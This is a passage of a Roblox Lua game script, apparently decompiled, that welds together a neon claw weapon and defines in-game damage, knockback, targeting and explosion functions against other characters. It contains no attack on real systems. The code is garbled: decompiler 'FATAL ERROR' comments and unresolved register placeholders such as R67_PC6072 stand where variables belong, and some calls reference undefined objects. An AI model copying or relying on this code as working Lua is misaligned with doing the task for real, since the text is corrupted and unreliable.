  915. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151982307, 0.549069643, -0.614216566, -1.19395554e-06, 1, 1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  916. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
  917. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151848793, -0.490990877, -0.295432806, -1.19395554e-06, 1, 1.37090683e-06, -0.961226821, -7.74860382e-07, -0.27575931, -0.27575925, -1.63912773e-06, 0.961226881))
  918. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
  919. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151979923, 0.650617838, -0.406501412, -1.19395554e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
  920. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
  921. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152257681, 0.624636889, 0.129745722, -1.19395554e-06, 1, 1.37090683e-06, -0.832109034, -2.38418579e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
  922. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
  923. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.015203476, 0.944107533, 0.894238472, 1.19395554e-06, -1, -1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  924. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  925. ClawWeld = CreateWeld(m, MotorTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121142, -0.0170750618, -0.650540113, 1.00000012, -1.86264515e-09, 4.65661287e-09, -1.86264515e-09, 1, 0, 4.65661287e-09, 0, 1.00000024))
  926. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
  927. CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  928. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151972771, -1.64906967, 1.03426158, -1.19395554e-06, 1, 1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  929. CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  930. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252062082, -1.54980803, -0.844281912, 1.19395554e-06, -1, -1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  931. MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  932. MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083))
  933. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  934. ClawWeld = CreateWeld(m, MotorThumb, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607737899, 0.0110911727, 0.0515184402, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
  935. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
  936. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  937. ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723732, 0.990283549, 1.41561031e-06, -0.13906303, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.13906303, 8.94069672e-08, 0.990283489))
  938. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  939. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  940. ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025633, 0.0210601687, -0.0396541655, 0.908135235, 2.08616257e-06, -0.418677092, -1.47148967e-06, 1.00000012, 1.75833702e-06, 0.418677121, -9.23871994e-07, 0.908135176))
  941. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  942. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  943. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129690766, -0.393394113, 0.191975117, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
  944. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
  945. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775405, -0.706632137, 0.168079853, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
  946. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  947. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299531221, -0.294105291, -0.00194394588, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
  948. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
  949. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598301, 0.0969114304, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
  950. MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  951. MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023))
  952. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  953. ClawWeld = CreateWeld(m, MotorThumbTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607738018, 0.0110911727, 0.0515185595, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
  954. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
  955. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  956. ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723612, 0.990283549, 1.42306089e-06, -0.139062777, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.139062807, 1.1920929e-07, 0.990283608))
  957. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  958. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  959. ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025394, 0.0210601091, -0.0396541059, 0.908135235, 2.08616257e-06, -0.418677092, -1.72480941e-06, 1, 1.16229057e-06, 0.418677121, -3.57627869e-07, 0.908135176))
  960. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  961. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  962. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.012969017, -0.393394232, 0.191974878, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
  963. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
  964. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775107, -0.706632137, 0.168079972, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
  965. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  966. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299596786, -0.29410553, -0.00194442272, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
  967. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
  968. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598063, 0.0969111919, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
  969. MagniHit = CreatePart(m, Enum.Material.Neon, 0, 1, "Really black", "MagniHit", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  970. MagniHitWeld = CreateWeld(m, Character.HumanoidRootPart, MagniHit, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-4.01003361, -0.230025291, 0.070048213, 0, 0, -1, 0, 1, 0, 1, 0, 0))
  971. local CBlade = {}
  972. local CBladeWelds = {}
  973. for _,c in pairs(m:children()) do
  974. if c.className == "Part" then
  975. table.insert(CBlade, R67_PC6072)
  976. end
  977. end
  978. for _,c in pairs(m:children()) do
  979. if c.className == "Weld" then
  980. table.insert(CBladeWelds, R67_PC6072)
  981. print(R66_PC6093)
  982. end
  983. end
  984. -- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg'
  985.  
  986. -- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg'
  987.  
  988. --Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", R66_PC6093, R67_PC6072(5, 0.200000003, 5))
  989. -- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg'
  990.  
  991. -- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg'
  992.  
  993. HitWeld = CreateWeld(demon, Character.HumanoidRootPart, Hit, CFrame.new(0, R66_PC6093, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(R66_PC6093, -3.50004387, 0.0299530029, 0, 1, 0, 0, 0, -1, -1, 0, 0))
  994. CreateMesh("SpecialMesh", Hit, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(3, 4, 3))
  995. FakeMotor = CreatePart(demon, Enum.Material.Neon, 0, 1, "Really black", "FakeMotor", Vector3.new(2.01999998, 0.2016, 2.36000013))
  996. FakeMotorWeld = CreateWeld(demon, Hit, FakeMotor, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0199999809, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  997. Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
  998. PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -5.06998634, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
  999. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(2.5, 10, 2.5))
  1000. Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
  1001. PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -7.1599884, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
  1002. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(1, 10, 1))
  1003. TornadoHat = CreatePart(demon, Enum.Material.Neon, 0.20000000298023, 0.5, "Really black", "TornadoHat", Vector3.new(3, 0.400000006, 3))
  1004. TornadoHatWeld = CreateWeld(demon, FakeMotor, TornadoHat, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00997924805, -1.65001106, -0.0699994564, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  1005. CreateMesh("SpecialMesh", TornadoHat, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1051557", Vector3.new(0, 0, 0), Vector3.new(5, 5, 5))
  1006. local DBlade = {}
  1007. local DBladeWelds = {}
  1008. for _,c in pairs(demon:children()) do
  1009. if c.className == "Part" then
  1010. table.insert(DBlade, c)
  1011. end
  1012. end
  1013. for _,c in pairs(demon:children()) do
  1014. if c.className == "Weld" then
  1015. table.insert(DBladeWelds, c)
  1016. print(c)
  1017. end
  1018. end
  1019. demon.Parent = nil
  1020.  
  1021. paly = owner
  1022. char = paly.Character
  1023. torso = char.Torso
  1024. neck = char.Torso.Neck
  1025. hum = char.Humanoid
  1026. Player = owner
  1027. Character = Player.Character
  1028. tors = Character.Torso
  1029. lleg = Character["Left Leg"]
  1030. root = Character.HumanoidRootPart
  1031. hed = Character.Head
  1032. rleg = Character["Right Leg"]
  1033. rarm = Character["Right Arm"]
  1034. larm = Character["Left Arm"]
  1035. local Effects = {}
  1036. attack = false
  1037. vt = Vector3.new
  1038. bc = BrickColor.new
  1039. br = BrickColor.random
  1040. it = Instance.new
  1041. cf = CFrame.new
  1042. euler = CFrame.fromEulerAnglesXYZ
  1043. angles = CFrame.Angles
  1044. matr = math.random
  1045. local basiccooldown = math.huge
  1046. local ultcooldown = math.huge
  1047. local secondcooldown = math.huge
  1048. local thirdcooldown = math.huge
  1049.  
  1050. local boll = Instance.new("Part",game.Lighting)
  1051. boll.Transparency = 0.5
  1052. boll.Material = "Neon"
  1053. boll.BrickColor = tors.BrickColor
  1054. boll.Anchored = true
  1055. boll.Size = vt(1,1,1)
  1056. boll.Shape = "Ball"
  1057. boll.CanCollide = false
  1058.  
  1059. local shur = Instance.new("Part",game.Lighting)
  1060. shur.Transparency = 0
  1061. shur.Material = "Neon"
  1062. shur.BrickColor = tors.BrickColor
  1063. shur.Anchored = true
  1064. shur.Size = vt(5,0.2,5)
  1065. shur.CanCollide = false
  1066. local Meshshur = Instance.new("CylinderMesh",shur)
  1067.  
  1068.  
  1069. local boll = Instance.new("Part",game.Lighting)
  1070. boll.Transparency = 0.5
  1071. boll.Material = "Neon"
  1072. boll.BrickColor = bc("Bright red")
  1073. boll.Anchored = true
  1074. boll.Size = vt(1,1,1)
  1075. boll.Shape = "Ball"
  1076. boll.CanCollide = false
  1077.  
  1078. local shur = Instance.new("Part",game.Lighting)
  1079. shur.Transparency = 0
  1080. shur.Material = "Neon"
  1081. shur.BrickColor = bc("Bright red")
  1082. shur.Anchored = true
  1083. shur.Size = vt(5,0.2,5)
  1084. shur.CanCollide = false
  1085. local Meshshur = Instance.new("CylinderMesh",shur)
  1086.  
  1087. Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
  1088. if hit.Parent==nil then
  1089. return
  1090. end
  1091. h=hit.Parent:FindFirstChild("Humanoid")
  1092. for _,v in pairs(hit.Parent:children()) do
  1093. if v:IsA("Humanoid") then
  1094. h=v
  1095. end
  1096. end
  1097. if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
  1098. h=hit.Parent.Parent:FindFirstChild("Humanoid")
  1099. end
  1100. if hit.Parent.className=="Hat" then
  1101. hit=hit.Parent.Parent:findFirstChild("Head")
  1102. end
  1103. if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  1104. if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
  1105. --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  1106. return
  1107. end]]
  1108. -- hs(hit,1.2)
  1109. c=Instance.new("ObjectValue")
  1110. c.Name="creator"
  1111. c.Value=owner
  1112. c.Parent=h
  1113. game:GetService("Debris"):AddItem(c,.5)
  1114. Damage=math.random(minim,maxim)
  1115. -- h:TakeDamage(Damage)
  1116. blocked=false
  1117. block=hit.Parent:findFirstChild("Block")
  1118. if block~=nil then
  1119. print(block.className)
  1120. if block.className=="NumberValue" then
  1121. if block.Value>0 then
  1122. blocked=true
  1123. if decreaseblock==nil then
  1124. block.Value=block.Value-1
  1125. end
  1126. end
  1127. end
  1128. if block.className=="IntValue" then
  1129. if block.Value>0 then
  1130. blocked=true
  1131. if decreaseblock~=nil then
  1132. block.Value=block.Value-1
  1133. end
  1134. end
  1135. end
  1136. end
  1137. if blocked==false then
  1138. -- h:TakeDamage(Damage)
  1139. h.Health=h.Health-Damage
  1140. showDamage(hit.Parent,Damage,.5,TorsoColor)
  1141. else
  1142. h.Health=h.Health-(Damage/2)
  1143. showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
  1144. end
  1145. if Type=="Knockdown" then
  1146. hum=hit.Parent.Humanoid
  1147. hum.PlatformStand=true
  1148. coroutine.resume(coroutine.create(function(HHumanoid)
  1149. swait(1)
  1150. HHumanoid.PlatformStand=false
  1151. end),hum)
  1152. local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
  1153. --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
  1154. local bodvol=Instance.new("BodyVelocity")
  1155. bodvol.velocity=angle*knockback
  1156. bodvol.P=5000
  1157. bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
  1158. bodvol.Parent=hit
  1159. rl=Instance.new("BodyAngularVelocity")
  1160. rl.P=3000
  1161. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  1162. rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
  1163. rl.Parent=hit
  1164. game:GetService("Debris"):AddItem(bodvol,.5)
  1165. game:GetService("Debris"):AddItem(rl,.5)
  1166. elseif Type=="Normal" then
  1167. vp=Instance.new("BodyVelocity")
  1168. vp.P=500
  1169. vp.maxForce=Vector3.new(math.huge,0,math.huge)
  1170. -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback
  1171. if KnockbackType==1 then
  1172. vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
  1173. elseif KnockbackType==2 then
  1174. vp.velocity=Property.CFrame.lookVector*knockback
  1175. end
  1176. if knockback>0 then
  1177. vp.Parent=hit.Parent.Torso
  1178. end
  1179. game:GetService("Debris"):AddItem(vp,.5)
  1180. elseif Type=="Up" then
  1181. local bodyVelocity=Instance.new("BodyVelocity")
  1182. bodyVelocity.velocity=vt(0,10,0)
  1183. bodyVelocity.P=1000
  1184. bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
  1185. bodyVelocity.Parent=hit
  1186. game:GetService("Debris"):AddItem(bodyVelocity,1)
  1187. rl=Instance.new("BodyAngularVelocity")
  1188. rl.P=3000
  1189. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  1190. rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  1191. rl.Parent=hit
  1192. game:GetService("Debris"):AddItem(rl,.5)
  1193. elseif Type=="Snare" then
  1194. bp=Instance.new("BodyPosition")
  1195. bp.P=2000
  1196. bp.D=100
  1197. bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  1198. bp.position=hit.Parent.Torso.Position
  1199. bp.Parent=hit.Parent.Torso
  1200. game:GetService("Debris"):AddItem(bp,1)
  1201. elseif Type=="Target" then
  1202. if Targetting==false then
  1203. ZTarget=hit.Parent.Torso
  1204. coroutine.resume(coroutine.create(function(Part)
  1205. swait(5)
  1206. end),ZTarget)
  1207. TargHum=ZTarget.Parent:findFirstChild("Humanoid")
  1208. targetgui=Instance.new("BillboardGui")
  1209. targetgui.Parent=ZTarget
  1210. targetgui.Size=UDim2.new(10,100,10,100)
  1211. targ=Instance.new("ImageLabel")
  1212. targ.Parent=targetgui
  1213. targ.BackgroundTransparency=1
  1214. targ.Image="rbxassetid://4834067"
  1215. targ.Size=UDim2.new(1,0,1,0)
  1216. cam.CameraType="Scriptable"
  1217. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1218. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  1219. workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1220. Targetting=true
  1221. RocketTarget=ZTarget
  1222. for i=1,Property do
  1223. --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
  1224. if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
  1225. swait()
  1226. end
  1227. --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
  1228. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1229. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  1230. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
  1231. end
  1232. Targetting=false
  1233. RocketTarget=nil
  1234. targetgui.Parent=nil
  1235. cam.CameraType="Custom"
  1236. end
  1237. end
  1238. debounce=Instance.new("BoolValue")
  1239. debounce.Name="DebounceHit"
  1240. debounce.Parent=hit.Parent
  1241. debounce.Value=true
  1242. game:GetService("Debris"):AddItem(debounce,Delay)
  1243. c=Instance.new("ObjectValue")
  1244. c.Name="creator"
  1245. c.Value=Player
  1246. c.Parent=h
  1247. game:GetService("Debris"):AddItem(c,.5)
  1248. CRIT=false
  1249. hitDeb=true
  1250. AttackPos=6
  1251. end
  1252. end
  1253.  
  1254. showDamage=function(Char,Dealt,du,Color)
  1255. m=Instance.new("Model")
  1256. m.Name=tostring(Dealt)
  1257. h=Instance.new("Humanoid")
  1258. h.Health=0
  1259. h.MaxHealth=0
  1260. h.Parent=m
  1261. c=Instance.new("Part")
  1262. c.Transparency=0
  1263. c.Material = "Neon"
  1264. c.BrickColor=bc("New Yeller")
  1265. c.Name="Head"
  1266. c.TopSurface=0
  1267. c.BottomSurface=0
  1268. local tick = Instance.new("Sound",c)
  1269. tick.SoundId = "rbxassetid://12221976"
  1270. tick.Volume = 5
  1271. tick.Pitch = 4
  1272. tick:Play()
  1273. c.formFactor="Plate"
  1274. c.Size=Vector3.new(1,.4,1)
  1275. ms=Instance.new("CylinderMesh")
  1276. ms.Scale=Vector3.new(.8,.8,.8)
  1277. if CRIT==true then
  1278. ms.Scale=Vector3.new(1,1.25,1)
  1279. end
  1280. ms.Parent=c
  1281. c.Reflectance=0
  1282. Instance.new("BodyGyro").Parent=c
  1283. c.Parent=m
  1284. if Char:findFirstChild("Head")~=nil then
  1285. c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  1286. elseif Char.Parent:findFirstChild("Head")~=nil then
  1287. c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  1288. end
  1289. f=Instance.new("BodyPosition")
  1290. f.P=2000
  1291. f.D=100
  1292. f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  1293. f.position=c.Position+Vector3.new(0,3,0)
  1294. f.Parent=c
  1295. game:GetService("Debris"):AddItem(m,.5+du)
  1296. c.CanCollide=false
  1297. m.Parent=workspace
  1298. c.CanCollide=false
  1299. p:Destroy()
  1300. end
  1301.  
  1302. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  1303. for _, c in pairs(workspace:children()) do
  1304. local hum = c:findFirstChild("Humanoid")
  1305. if hum ~= nil then
  1306. local head = c:findFirstChild("Torso")
  1307. if head ~= nil then
  1308. local targ = head.Position - Part.Position
  1309. local mag = targ.magnitude
  1310. if mag <= magni and c.Name ~= Player.Name then
  1311. Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
  1312. end
  1313. end
  1314. end
  1315. end
  1316. end
  1317.  
  1318. function Explode(rad,par)
  1319. local expart = Instance.new("Part",script.Parent)
  1320. local expart2 = Instance.new("Part",script.Parent)
  1321. local partMesh = Instance.new("SpecialMesh",expart)
  1322. partMesh.MeshType = "Sphere"
  1323. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1324. partMesh2.MeshType = "Sphere"
  1325. local expld = Instance.new("Explosion", script.Parent)
  1326. local plode = Instance.new("Sound",expart)
  1327. plode.SoundId = "rbxassetid://165970126"
  1328. plode.Volume = 1
  1329. plode.Pitch = 1
  1330. plode.Looped = false
  1331. plode:Play()
  1332. expld.BlastRadius = rad
  1333. expld.Position = par.Position
  1334. partMesh.Scale = vt(rad,rad,rad)
  1335. expart.Size = vt(1,1,1)*1.5
  1336. expart.Transparency = 0
  1337. expart.Anchored = true
  1338. expart.Material = "Neon"
